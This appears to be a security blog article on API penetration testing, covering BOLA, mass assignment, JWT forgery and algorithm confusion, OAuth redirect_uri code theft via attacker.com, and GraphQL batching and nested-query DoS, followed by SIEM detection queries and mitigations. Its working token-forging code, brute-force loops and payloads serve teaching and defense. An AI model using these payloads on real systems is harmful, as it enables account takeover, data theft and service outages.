Your application has a login form, firewalls, MFA, and EDR on every endpoint. But the REST API running behind it accepts alg: none JWT tokens and has no rate limiting. An attacker spent 20 minutes on it — not your perimeter — and walked out with every user record.

This is the state of API security in 2026.

TL;DR

  • 73% of breaches start with APIs — they are now the #1 attack surface
  • JWT attacks exploit weak algorithm validation, forged signatures, and key confusion
  • OAuth abuse targets authorization flows, open redirects, and token leakage
  • GraphQL APIs often expose introspection and allow batching/aliasing attacks
  • Most API vulnerabilities (97%) are exploitable with a single HTTP request

Why APIs Are the New Perimeter

An API (Application Programming Interface) is how applications talk to each other. Your mobile app calls an API to fetch your data. Your SaaS dashboard uses APIs to connect to backend services. Modern web apps are often 90% API calls and 10% HTML.

According to the 2026 API ThreatStats Report, APIs accounted for 17% of all published security vulnerabilities in 2025 — more than any other single surface. Of the newly added CISA Known Exploited Vulnerabilities (KEVs), 43% were API-related.

The scariest statistic: 98% of API vulnerabilities are trivial or easy to exploit, and 59% require no authentication at all.

Organizations invested in network security, endpoint protection, and identity hardening — but left their APIs wide open.


Part 1: REST API Pentesting Fundamentals

Before diving into specific attack classes, here’s what a methodical API pentest looks like.

Reconnaissance

Start by mapping the attack surface:

Terminal window
# Discover API endpoints via JS files
grep -r "api/" --include="*.js" .
# Brute-force API paths
ffuf -u https://target.com/api/FUZZ -w /opt/seclists/Discovery/Web-Content/api-endpoints.txt
# Check for exposed Swagger/OpenAPI spec
curl https://target.com/api/swagger.json
curl https://target.com/api/openapi.yaml
curl https://target.com/v1/docs

Many developers leave API documentation endpoints public in production. An exposed swagger.json gives an attacker a complete map of every endpoint, parameter, and expected data format.

BOLA — Broken Object Level Authorization

BOLA (also called IDOR — Insecure Direct Object Reference) is the #1 API vulnerability according to the OWASP API Security Top 10. The concept is simple: you change an ID in the URL and access someone else’s data.

Terminal window
# You are user 1337 — what happens if you request user 1338?
GET /api/v1/users/1338/profile
Authorization: Bearer <your_token>
# Or orders:
GET /api/v1/orders/99012 # your order
GET /api/v1/orders/99013 # someone else's order — does it return data?

If the API only checks that you’re authenticated (valid token) but doesn’t verify you own the resource, every object in the system is accessible to every user. This is shockingly common.

Mass Assignment

Many REST APIs automatically map incoming JSON fields to database objects. If you send extra fields the developer didn’t intend to be writable, they often get written anyway.

Terminal window
# Normal registration request
POST /api/v1/register
{"username": "attacker", "password": "pass123"}
# Mass assignment attempt — add fields the API shouldn't accept
POST /api/v1/register
{"username": "attacker", "password": "pass123", "role": "admin", "verified": true}

If the API uses something like User.create(request.body) without filtering, the attacker just created an admin account.

Lack of Rate Limiting

APIs without rate limiting are vulnerable to credential stuffing, brute force, and enumeration. Test by sending rapid sequential requests:

Terminal window
# Test for rate limiting on login endpoint
for i in {1..100}; do
curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://target.com/api/login \
-d '{"user":"admin","pass":"test'$i'"}'
done

If all 100 return 200 OK or 401 Unauthorized (never 429 Too Many Requests), rate limiting is absent.


Part 2: JWT Attacks

JWT (JSON Web Token) is the standard way modern APIs handle authentication. A JWT has three parts separated by dots:

header.payload.signature
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMTMzNyIsInJvbGUiOiJ1c2VyIn0.abc123
  • Header: algorithm used to sign the token
  • Payload: claims (user ID, role, expiry)
  • Signature: cryptographic proof the token is valid

If the signature verification breaks down anywhere, an attacker can forge arbitrary tokens.

Attack 1: Algorithm Confusion (alg: none)

The original JWT specification allowed "alg": "none" — meaning no signature required. Many libraries still accept this.

import base64, json
# Craft a token with alg:none and admin role
header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=')
payload = base64.urlsafe_b64encode(b'{"sub":"attacker","role":"admin"}').rstrip(b'=')
forged_token = f"{header.decode()}.{payload.decode()}." # empty signature
# Send to API
# Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.

If the API accepts this, the attacker has an admin token with no valid signature.

Attack 2: Algorithm Confusion (RS256 → HS256)

This is a more subtle and powerful attack. Some APIs use asymmetric RS256 (RSA) signing — a private key signs, a public key verifies. The public key is often freely available.

The attack: switch the algorithm to HS256 (HMAC-symmetric) and sign the token with the public key as the HMAC secret. A misconfigured library will use the public key as the verification key for HS256 — which is exactly what the attacker signed with.

import jwt
# Attacker has the server's public key (often exposed at /.well-known/jwks.json)
with open("public_key.pem", "r") as f:
public_key = f.read()
# Sign with RS256 public key as HS256 secret
forged = jwt.encode(
{"sub": "admin", "role": "superadmin"},
public_key, # public key used as HS256 secret
algorithm="HS256" # switched from RS256
)

Attack 3: Weak Secrets

Many developers sign JWTs with weak secrets like secret, password, or the application name. These are crackable offline with hashcat.

Terminal window
# Crack JWT HMAC secret
hashcat -a 0 -m 16500 eyJhbGc...token.here /usr/share/wordlists/rockyou.txt
# Or use jwt-cracker
jwt-cracker -t "eyJhbGc...token" -w /wordlists/rockyou.txt

Once you have the secret, you can forge any token you want.

Attack 4: JKU / Kid Header Injection

JWTs can include a jku (JWK Set URL) or kid (key ID) header that tells the server where to fetch the signing key. If this isn’t validated, an attacker can point it at their own server.

{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json" // attacker-controlled key server
}

The server fetches the key from the attacker’s server, validates the signature against it — and the attacker signs with the corresponding private key. Valid token.

Detection: Look for JWT headers with jku or kid values pointing to external URLs, or kid values containing path traversal sequences (../../).


Part 3: OAuth Abuse

OAuth 2.0 is the authorization framework behind “Login with Google/GitHub/Microsoft.” It’s everywhere, and it has a complex flow with multiple points of failure.

A simplified OAuth flow:

  1. User clicks “Login with Google”
  2. App redirects to Google with a redirect_uri
  3. User approves, Google sends an authorization code to redirect_uri
  4. App exchanges code for access token

Attack 1: Open Redirect + Code Theft

If the redirect_uri parameter isn’t strictly validated, an attacker can steal the authorization code.

# Legitimate request
https://accounts.google.com/oauth/authorize?
client_id=app123&
redirect_uri=https://app.com/callback&
response_type=code
# Attacker substitutes redirect_uri
https://accounts.google.com/oauth/authorize?
client_id=app123&
redirect_uri=https://app.com.attacker.com/callback& # subdomain confusion
response_type=code
# Or via open redirect in the app itself
redirect_uri=https://app.com/redirect?url=https://attacker.com

The authorization code lands on the attacker’s server. They exchange it for an access token and take over the account.

Attack 2: CSRF on OAuth Callback

If the state parameter (CSRF token for OAuth) is missing or predictable, an attacker can perform account hijacking:

  1. Attacker starts an OAuth flow on the victim’s browser
  2. Captures the authorization code
  3. Injects it into the victim’s session (CSRF)
  4. Victim’s account is now linked to attacker’s identity provider account

Attack 3: Token Leakage via Referrer

Access tokens should never appear in URLs. If an app puts tokens in query parameters, they leak via HTTP Referrer headers to any third-party resources on the page.

# Bad — token in URL
https://app.com/dashboard?access_token=eyJhbGc...
# Any third-party analytics JS on the page sees this in document.referrer

Attack 4: Scope Escalation

OAuth tokens have scopes (permissions). If the API doesn’t validate scope on the server side — only trusting what the token claims — an attacker can modify the token payload to escalate privileges.

This connects directly to the JWT attacks above: if the OAuth access token is a JWT with weak signing, escalating scopes is trivial.

For a deep dive into OAuth abuse in Microsoft environments, see Entra ID Attacks: Device Code, PRT, and Conditional Access Bypass — the device code phishing flow is pure OAuth exploitation.

Similarly, AiTM Phishing and MFA Bypass with Evilginx shows how session tokens from OAuth flows are stolen at scale.


Part 4: GraphQL Security

GraphQL is an alternative to REST that lets clients request exactly the data they need. It’s increasingly common in modern apps (GitHub, Facebook, Shopify all use it). It also introduces unique attack surfaces.

Attack 1: Introspection — Free Recon

GraphQL has a built-in introspection system that returns the entire schema: every type, field, query, and mutation. In production, this should be disabled — but it often isn’t.

Terminal window
# Check if introspection is enabled
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name}}}"}'
# Full introspection dump (use graphql-voyager to visualize)
# Tool: graphw00f for fingerprinting, InQL for Burp Suite

A successful introspection dump gives an attacker a complete map of the entire data model — equivalent to finding an exposed Swagger doc.

Attack 2: Batching and Alias Attacks

GraphQL allows multiple operations in one request via batching (array) or aliases. This completely bypasses rate limiting designed for individual requests.

# Alias attack — 100 login attempts in one request
query {
login1: login(email: "admin@target.com", password: "pass1") { token }
login2: login(email: "admin@target.com", password: "pass2") { token }
login3: login(email: "admin@target.com", password: "pass3") { token }
# ... up to login100
}

One HTTP request = 100 brute force attempts. Rate limiting that counts requests, not operations, is useless here.

Attack 3: Deeply Nested Queries (DoS)

GraphQL’s nested query capability can be abused to create exponentially expensive database operations.

# Each level multiplies the DB queries
{
users {
friends {
friends {
friends {
friends {
name email posts { comments { author { friends { name } } } }
}
}
}
}
}
}

Without query depth or complexity limits, a single request can bring down a database server.

Attack 4: IDOR Through GraphQL

GraphQL doesn’t automatically enforce object-level authorization. If a mutation or query accepts an ID, test whether you can access other users’ objects:

# Your user ID is 1337
query {
user(id: "1338") { # another user
email
creditCards { number expiry cvv }
privateMessages { body }
}
}

The business logic must explicitly check ownership — GraphQL provides no built-in protection.


Part 5: Detection — Blue Team Perspective

What to Monitor

JWT anomalies:

  • Tokens with alg: none — should never appear in production
  • Tokens signed with unexpected algorithms (RS256 suddenly becoming HS256)
  • jku or kid headers pointing to external domains
  • Tokens with exp (expiry) set far in the future

OAuth anomalies:

  • Authorization codes used more than once
  • redirect_uri values not matching the registered whitelist
  • Unusual grant types (especially device_code outside of known applications)
  • Token requests from unexpected IP ranges

API behavioral patterns:

  • Sequential numeric IDs in requests (BOLA probing)
  • Same endpoint called hundreds of times in seconds
  • GraphQL introspection queries from non-developer IPs
  • Unusual field names in POST bodies (mass assignment probing)
  • HTTP methods not normally used (PUT, DELETE, PATCH on read-only endpoints)

SIEM Query Examples

# Detect JWT alg:none attempts (look for base64 of {"alg":"none"})
index=proxy_logs uri_query="*eyJhbGciOiJub25l*"
# Detect GraphQL introspection
index=web_logs request_body="*__schema*" OR request_body="*__type*"
# Detect BOLA probing (sequential IDs)
index=api_logs
| eval id_extracted=tonumber(replace(uri_path, ".*/(\d+).*", "\1"))
| stats dc(id_extracted) as unique_ids by src_ip, _time span=1m
| where unique_ids > 50

Non-Human Identities — service accounts, API keys, machine tokens — are a major source of exposure here. See Non-Human Identity Security: The Biggest Blind Spot of 2026 for the full picture.

And if you’re worried about secrets ending up in source code (API keys, JWT secrets), GitHub Secrets Management Crisis 2026 covers exactly that.


What You Can Do Today

If you’re a developer or security engineer:

  1. Validate JWT algorithms explicitly — never accept whatever algorithm the token claims. Hardcode the expected algorithm server-side.
  2. Disable GraphQL introspection in production — one config flag, huge reduction in recon surface.
  3. Implement object-level authorization everywhere — for every API call that touches user data, verify the requesting user owns that resource.
  4. Strict redirect_uri validation — exact string match only, no prefix matching or wildcards.
  5. Add query depth and complexity limits to GraphQL — most frameworks support this natively.
  6. Rate limit by operation, not just request — GraphQL batching bypasses request-level limits.
  7. Rotate JWT secrets regularly and use minimum 256-bit random secrets.

If you’re a penetration tester:

TargetToolWhat to Check
JWTjwt_toolalg confusion, cracking, jku injection
OAuthBurp Suite + OAuth scannerredirect_uri, state parameter, scope
GraphQLInQL, graphw00fintrospection, batching, IDOR
REST APIsffuf, Burp SuiteBOLA, mass assignment, rate limits

If you’re a manager or decision-maker:

  • Include APIs explicitly in penetration test scope — most tests skip them by default
  • Run automated API security scanning (42Crunch, Salt Security, Traceable) continuously
  • Inventory your APIs — shadow APIs (undocumented endpoints) are often the most vulnerable


Sources